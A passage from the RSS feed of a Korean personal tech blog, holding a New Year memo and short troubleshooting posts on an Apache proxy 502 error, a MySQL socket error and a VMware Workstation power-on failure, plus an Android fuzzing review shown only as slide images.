&lt;p data-ke-size=&quot;size16&quot;&gt;또한, 학생 시절 처음이자 마지막 도전으로 대한민국 인재상에 지원하여 표창대상자 후보까지 올라갔지만 아쉽게도 최종 선발에서 떨어졌습니다. 그러나 준비하는 과정에서 그동안 저에게 참 많은 분이 가깝게도 멀리서도 도와주고 계셨기에 지금까지 저에 노력에 좋은 시너지가 되었나 생각합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제는 학생의 신분을 벗어나 실무에서 활동하는 한 해가 되도록 나아가볼 예정입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2022년 임인년에도 잘 부탁합니다! 항상 감사드리며 새해 복 많이 받으세요 ❤️&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2022.png&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MYUms/btrplipzMHS/2KN4EJYNf2DbHApspyavJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MYUms/btrplipzMHS/2KN4EJYNf2DbHApspyavJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MYUms/btrplipzMHS/2KN4EJYNf2DbHApspyavJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMYUms%2FbtrplipzMHS%2F2KN4EJYNf2DbHApspyavJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;500&quot; data-filename=&quot;2022.png&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/276</guid>
      <comments>https://netking.tistory.com/276#entry276comment</comments>
      <pubDate>Fri, 31 Dec 2021 23:38:00 +0900</pubDate>
    </item>
    <item>
      <title>Apache2 502 Bad Gateway 해결 방법</title>
      <link>https://netking.tistory.com/275</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;※ 오류 메세지 및 의견&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 502 Bad Gateway&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Docker 내에 웹 서비스를 Host OS인 Ubuntu에서 Proxy로 외부와 연결 후 Host에서는 웹 서비스가 정상적으로 작동했지만, 외부에서 CSS, JS 코드가 불러오지 못하는 경우를 해결한 방법입니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 해결 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# vim /etc/apache2/sites-available/000-default.conf&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ProxyPass 뒤에 아래 코드 추가&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;retry=1&amp;nbsp;acquire=3000&amp;nbsp;timeout=600&amp;nbsp;Keepalive=On&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[예시]&lt;/p&gt;
&lt;pre id=&quot;code_1639248483264&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
        ServerName korea.kr
        ProxyPass / http://172.17.0.5:8000/ retry=1 acquire=3000 timeout=600 Keepalive=On
        ProxyPassReverse / http://172.17.0.5:8000/
&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;References&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;http://genes1s.egloos.com/3078640&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://genes1s.egloos.com/3078640&lt;/a&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Honey TIP</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/275</guid>
      <comments>https://netking.tistory.com/275#entry275comment</comments>
      <pubDate>Sun, 12 Dec 2021 04:03:39 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu][Docker][MySQL] ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) 해결 방법</title>
      <link>https://netking.tistory.com/274</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;※ 오류 메세지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 해결 방법&lt;/p&gt;
&lt;pre id=&quot;code_1639068918609&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo pkill mysql; pkill mysqld; service mysql restart&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Honey TIP</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/274</guid>
      <comments>https://netking.tistory.com/274#entry274comment</comments>
      <pubDate>Fri, 10 Dec 2021 01:56:57 +0900</pubDate>
    </item>
    <item>
      <title>[Windows 11][VMware Workstation][패치완료] Module 'DevicePowerOn' power on failed 해결 방법</title>
      <link>https://netking.tistory.com/270</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;★ VMware Workstation 16.2.0 Pro Release에서 해당 문제가 패치됨 ★&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;365&quot; data-origin-height=&quot;196&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UYyhc/btrgOsOw20e/JDTWHjNKD50lFGbCeeRsLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UYyhc/btrgOsOw20e/JDTWHjNKD50lFGbCeeRsLk/img.png&quot; data-alt=&quot;Module 'DevicePowerOn' power on failed&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UYyhc/btrgOsOw20e/JDTWHjNKD50lFGbCeeRsLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUYyhc%2FbtrgOsOw20e%2FJDTWHjNKD50lFGbCeeRsLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;365&quot; height=&quot;196&quot; data-origin-width=&quot;365&quot; data-origin-height=&quot;196&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Module 'DevicePowerOn' power on failed&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 오류 메시지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Unable&amp;nbsp;to&amp;nbsp;open&amp;nbsp;kernel&amp;nbsp;device&amp;nbsp;'\\.\VMCIDev\VMX':&amp;nbsp;작업을&amp;nbsp;완료했습니다.&amp;nbsp;Did&amp;nbsp;you&amp;nbsp;reboot&amp;nbsp;after&amp;nbsp;installing&amp;nbsp;VMware&amp;nbsp;Workstation?&lt;br /&gt;Module 'DevicePowerOn' power on failed.&lt;br /&gt;Failed&amp;nbsp;to&amp;nbsp;start&amp;nbsp;the&amp;nbsp;virtual&amp;nbsp;machine.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 해결 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 1. 사용자가 만든 OS 중 VMware 폴더 내에 &quot;{설치한 VMware 파일명}.vmx&quot; 파일을 찾는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step2. 해당 파일을 Notepad(메모장)을 통해 아래와 같이 설정값을 변경한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 20px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 20px;&quot;&gt;[변경전] vmci0.present = &quot;TRUE&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;[변경후] vmci0.present = &quot;FALSE&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ps. 해당 문제점은 VMware에서 충분히 패치가 될 가능성이 있기에 기다려보자.&lt;/p&gt;</description>
      <category>Honey TIP</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/270</guid>
      <comments>https://netking.tistory.com/270#entry270comment</comments>
      <pubDate>Tue, 5 Oct 2021 16:52:18 +0900</pubDate>
    </item>
    <item>
      <title>Android Application Fuzzing Review</title>
      <link>https://netking.tistory.com/268</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드1.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9dDKG/btrfjdFHX84/UnVBxFTKvUv50O1bkeU5S0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9dDKG/btrfjdFHX84/UnVBxFTKvUv50O1bkeU5S0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9dDKG/btrfjdFHX84/UnVBxFTKvUv50O1bkeU5S0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9dDKG%2FbtrfjdFHX84%2FUnVBxFTKvUv50O1bkeU5S0%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드1.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드2.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPocqY/btrfovjP3tc/auWm85VKITkir1G4054d61/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPocqY/btrfovjP3tc/auWm85VKITkir1G4054d61/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPocqY/btrfovjP3tc/auWm85VKITkir1G4054d61/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPocqY%2FbtrfovjP3tc%2FauWm85VKITkir1G4054d61%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드2.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드3.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HR7L4/btrfmPD5p23/cmcaFIsa3K0Vdy4jd56g8k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HR7L4/btrfmPD5p23/cmcaFIsa3K0Vdy4jd56g8k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HR7L4/btrfmPD5p23/cmcaFIsa3K0Vdy4jd56g8k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHR7L4%2FbtrfmPD5p23%2FcmcaFIsa3K0Vdy4jd56g8k%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드3.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드4.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJ2kUJ/btrfjXJo7tb/sl9rVAdj0zC920spddfekK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJ2kUJ/btrfjXJo7tb/sl9rVAdj0zC920spddfekK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJ2kUJ/btrfjXJo7tb/sl9rVAdj0zC920spddfekK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJ2kUJ%2FbtrfjXJo7tb%2Fsl9rVAdj0zC920spddfekK%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드4.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드5.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J1zoq/btrfnmg7aYS/dZ0WNyYMjU2Udq1YGLOdak/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J1zoq/btrfnmg7aYS/dZ0WNyYMjU2Udq1YGLOdak/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J1zoq/btrfnmg7aYS/dZ0WNyYMjU2Udq1YGLOdak/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ1zoq%2Fbtrfnmg7aYS%2FdZ0WNyYMjU2Udq1YGLOdak%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드5.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드6.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8uJcu/btrfmPqxTU5/7GDOZwX4zXN9jlyaGaZmeK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8uJcu/btrfmPqxTU5/7GDOZwX4zXN9jlyaGaZmeK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8uJcu/btrfmPqxTU5/7GDOZwX4zXN9jlyaGaZmeK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8uJcu%2FbtrfmPqxTU5%2F7GDOZwX4zXN9jlyaGaZmeK%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드6.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드7.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XUjPa/btrfjcz1gT8/hWu64HBaJ0mc8uWhKd9kok/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XUjPa/btrfjcz1gT8/hWu64HBaJ0mc8uWhKd9kok/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XUjPa/btrfjcz1gT8/hWu64HBaJ0mc8uWhKd9kok/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXUjPa%2Fbtrfjcz1gT8%2FhWu64HBaJ0mc8uWhKd9kok%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드7.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드8.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dl6wEG/btrfjVLzmNe/KtN9jd029w3qsFI4kZLyOK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dl6wEG/btrfjVLzmNe/KtN9jd029w3qsFI4kZLyOK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dl6wEG/btrfjVLzmNe/KtN9jd029w3qsFI4kZLyOK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdl6wEG%2FbtrfjVLzmNe%2FKtN9jd029w3qsFI4kZLyOK%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드8.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드9.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eyHRZG/btrfjXJo7vv/rBVvcQZm0XNAysbUrXo7sK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eyHRZG/btrfjXJo7vv/rBVvcQZm0XNAysbUrXo7sK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eyHRZG/btrfjXJo7vv/rBVvcQZm0XNAysbUrXo7sK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeyHRZG%2FbtrfjXJo7vv%2FrBVvcQZm0XNAysbUrXo7sK%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드9.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드10.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yELz0/btrfnmnTeHe/wUSokWflfy5UfJ9KfZDPY0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yELz0/btrfnmnTeHe/wUSokWflfy5UfJ9KfZDPY0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yELz0/btrfnmnTeHe/wUSokWflfy5UfJ9KfZDPY0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyELz0%2FbtrfnmnTeHe%2FwUSokWflfy5UfJ9KfZDPY0%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드10.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드11.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHeLBF/btrfluUsAl0/NMBcTXaDlZAuOVCkaQeKr1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHeLBF/btrfluUsAl0/NMBcTXaDlZAuOVCkaQeKr1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHeLBF/btrfluUsAl0/NMBcTXaDlZAuOVCkaQeKr1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHeLBF%2FbtrfluUsAl0%2FNMBcTXaDlZAuOVCkaQeKr1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드11.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드12.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b07kVh/btrfn3OEYhr/nonphheOJ9UTR4AWOqLmU1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b07kVh/btrfn3OEYhr/nonphheOJ9UTR4AWOqLmU1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b07kVh/btrfn3OEYhr/nonphheOJ9UTR4AWOqLmU1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb07kVh%2Fbtrfn3OEYhr%2FnonphheOJ9UTR4AWOqLmU1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드12.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드13.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6SPOD/btrfnbtlCif/ytyk3Ip2FMbHMHHqjvtkO0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6SPOD/btrfnbtlCif/ytyk3Ip2FMbHMHHqjvtkO0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6SPOD/btrfnbtlCif/ytyk3Ip2FMbHMHHqjvtkO0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6SPOD%2FbtrfnbtlCif%2Fytyk3Ip2FMbHMHHqjvtkO0%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드13.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
